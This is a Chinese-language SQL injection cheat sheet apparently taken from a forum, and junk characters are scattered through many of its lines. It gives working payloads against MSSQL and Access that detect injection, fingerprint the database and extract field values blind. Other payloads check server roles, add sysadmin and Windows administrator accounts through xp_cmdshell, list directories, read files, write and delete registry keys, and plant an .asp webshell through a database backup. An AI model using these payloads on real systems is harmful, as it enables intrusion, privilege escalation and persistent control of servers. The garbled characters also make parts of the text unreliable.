手工脚本注入
1 R; y% q- h# c! p7 a1.判断是否有注入;and 1=1 ;and 1=2 6 ?2 N, M3 t; B' K
9 b* O# ^ g7 Z0 H; s2.初步判断是否是mssql ;and user>0 " o5 H& x+ z. R$ g# M( o9 W
5 k* ]6 F$ y5 ^3.注入参数是字符'and [查询条件] and ''=' % n4 H. I! X' `
2 e: p' n- t* f8 L; |7 M4.搜索时没过滤参数的'and [查询条件] and '%25'=' 1 A7 H, D2 @. m+ a3 d
! b4 X7 k; _0 v H; {
5.判断数据库系统
' D4 C+ b! g2 p% x! x;and (select count(*) from sysobjects)>0 mssql
( P) u6 x0 ~& p8 x;and (select count(*) from msysobjects)>0 access , G, Q7 c% B& }/ Y# ^! D
1 t- z3 W9 q$ u X( f- \+ k/ u6.猜数据库 ;and (select Count(*) from [数据库名])>0
6 Y9 N) _0 |! Z% \, Z9 e- k
5 t0 b+ e( v* z2 q& t6 g0 |7.猜字段 ;and (select Count(字段名) from 数据库名)>0
! r; W3 o1 B* P w. Z( l& |) ^( ?6 Y7 e- [7 r4 R
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
6 `% G+ A$ m2 k: g f; a5 k6 e2 `) o" P7 i# Y: B( p7 c
9.(1)猜字段的ascii值(access)
) h6 u. O9 }7 D& U |: o;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
3 T9 {- C4 @9 j+ G% Z+ F% s! E
$ q4 P5 _; W; V4 M(2)猜字段的ascii值(mssql) 8 B A; ~5 I V8 K& i3 w. U3 h
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
/ D f% ^& @3 d/ A* n, v
2 o+ ~" L1 _& X( ~) ?, ^10.测试权限结构(mssql) G6 X0 D# }2 m3 B) B( `
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- & J; U# i) q7 C! |- Z1 v
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
. F4 `* }- z9 w- B2 |( K+ ];and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ! n$ ~; \5 G- K1 U; Z
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- " I4 U) P; q6 F$ T# q/ W/ n
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
' O1 e( f; W; [2 a;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
, K& q1 `3 Q) ^5 O4 p;and 1=(select IS_MEMBER('db_owner'));--
5 ~" H+ ~, A1 \9 O& N8 c5 `4 J9 O, l# [$ ~& N% [
11.添加mssql和系统的帐户 2 n( z) J% z! V. @. ]3 A' l" K# Q
;exec master.dbo.sp_addlogin username;--
5 W/ G" D" u3 X' a
T8 H5 K9 \3 `6 R7 v8 U. J% V. i;exec master.dbo.sp_password null,username,password;--
" F; A$ o% B) u
0 q/ a7 e8 P: d% a* r+ }& f;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 3 i- Y. ~$ H+ ]# |- L* ~0 X
( q/ |, b9 x$ z& W# E
;exec master.dbo.xp_cmdshell 'net user username password
. J9 _& L: t# N% X. o/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- : M! |( |" [+ C; \4 F9 ]/ S" g8 `- J
# l) G3 X- @. ^1 y. U" K
;exec master.dbo.xp_cmdshell 'net user username password /add';-- " t* V2 s% I) t. m/ B
' O7 M/ G5 O7 [* p8 |! n
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- ( a4 t+ q% ` s
* n1 ]1 q* `# ?5 D5 x, r7 b12.(1)遍历目录 $ H3 O3 G& G: ^3 V+ y/ c
) F/ y1 K" r( R;create table dirs(paths varchar(100), id int) 4 \/ j: ]. z3 X9 `( X+ w" }9 K
;insert dirs exec master.dbo.xp_dirtree 'c:\'
! Q0 Q6 Q5 U* L3 j;and (select top 1 paths from dirs)>0 : ?1 b3 e% k1 m G/ m) ~
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
4 M- r; l5 b1 E6 z8 t( b6 g3 A
- I5 R& f9 H7 q8 j& T! D: ?(2)遍历目录 4 P4 ?. u" v) y5 U9 e4 y+ Z
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
( O& H$ t+ B5 C$ J7 i, i;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
6 `! H5 v/ s4 O$ S4 ^$ _;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
- V: m9 q' ]3 P% N# f;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
$ m% O* {2 X9 ~& t! N/ }+ F# O1 X;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
$ \+ w# W2 a+ o; m! W
7 o! z3 l* ^' d0 A5 S3 N; z2 R13.mssql中的存储过程 % J! y; j4 s7 O% H) e% ^; G3 }/ y3 Q6 T
1 f0 A$ H* R+ b+ Y( j
xp_regenumvalues 注册表根键, 子键 2 A! `6 v% |1 g
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
8 M/ W/ G3 ]) G/ O' ^3 {& v3 `7 B# K& {/ ?* A J' L( S
xp_regread 根键,子键,键值名
! ~! p _0 f' I* a;exec xp_regread 3 O2 u! w; W, R% @
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 p- }2 @$ ~6 o& z! h
/ l, g3 d: M! l1 n1 c" J) u+ t
xp_regwrite 根键,子键, 值名, 值类型, 值
( m# M5 ^9 j0 p$ S值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
8 K4 _3 p7 Z0 F;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
( \! k6 X& ^, N- N8 u+ L. n4 [3 G3 [/ s. d( w8 v9 |
xp_regdeletevalue 根键,子键,值名
/ y- P# ?9 Y' w6 m ?* Y
1 e; q; q! _; x5 @; Kexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 ; k% @ n4 ^5 Z
" q4 N" Q- e$ Fxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
! s Q3 f, r% f2 S+ Y! l0 s( f5 e$ f) v' D/ _
14.mssql的backup创建webshell $ n0 F- J) E$ n/ B. q
use model + V+ ?2 C, o; ~8 F
create table cmd(str image); ' g! I8 N- G2 }+ G/ ]
insert into cmd(str) values ('');
& | X, d9 }7 E! x' ^ ?backup database model to disk='c:\l.asp'; ! Q% M" r8 C) f. B9 K+ P' D
) F$ J$ X7 k) O) n# I' \15.mssql内置函数 & J5 S; q$ C& F/ Q
;and (select @@version)>0 获得Windows的版本号
( x4 l5 c) A! x, C;and user_name()='dbo' 判断当前系统的连接用户是不是sa
* ]% c% {9 h+ ]7 T: K;and (select user_name())>0 爆当前系统的连接用户 8 t9 O8 S% Q7 \, z
;and (select db_name())>0 得到当前连接的数据库
7 r% T5 U+ ^0 d5 n L
n# K( H( g/ X2 {16.简洁的webshell
8 E3 d1 U* \) J! c2 G' j+ A6 e; E' R, M0 t2 n: m r
use model % X, \) ~- s1 M* T5 l% q
8 ?! L$ a) @7 {
create table cmd(str image); , g1 o: O/ v5 R1 v( @' e
% ~2 s. p2 F; v4 r7 d3 u" Y0 Finsert into cmd(str) values ('');
c `. M2 o1 s
7 l- B; |6 A3 j2 n7 G4 G2 e$ Fbackup database model to disk='g:\wwwtest\l.asp';
6 C( G8 p5 S9 P+ B. f ' n) a4 ?- J" Q! P( |+ U" n4 A
|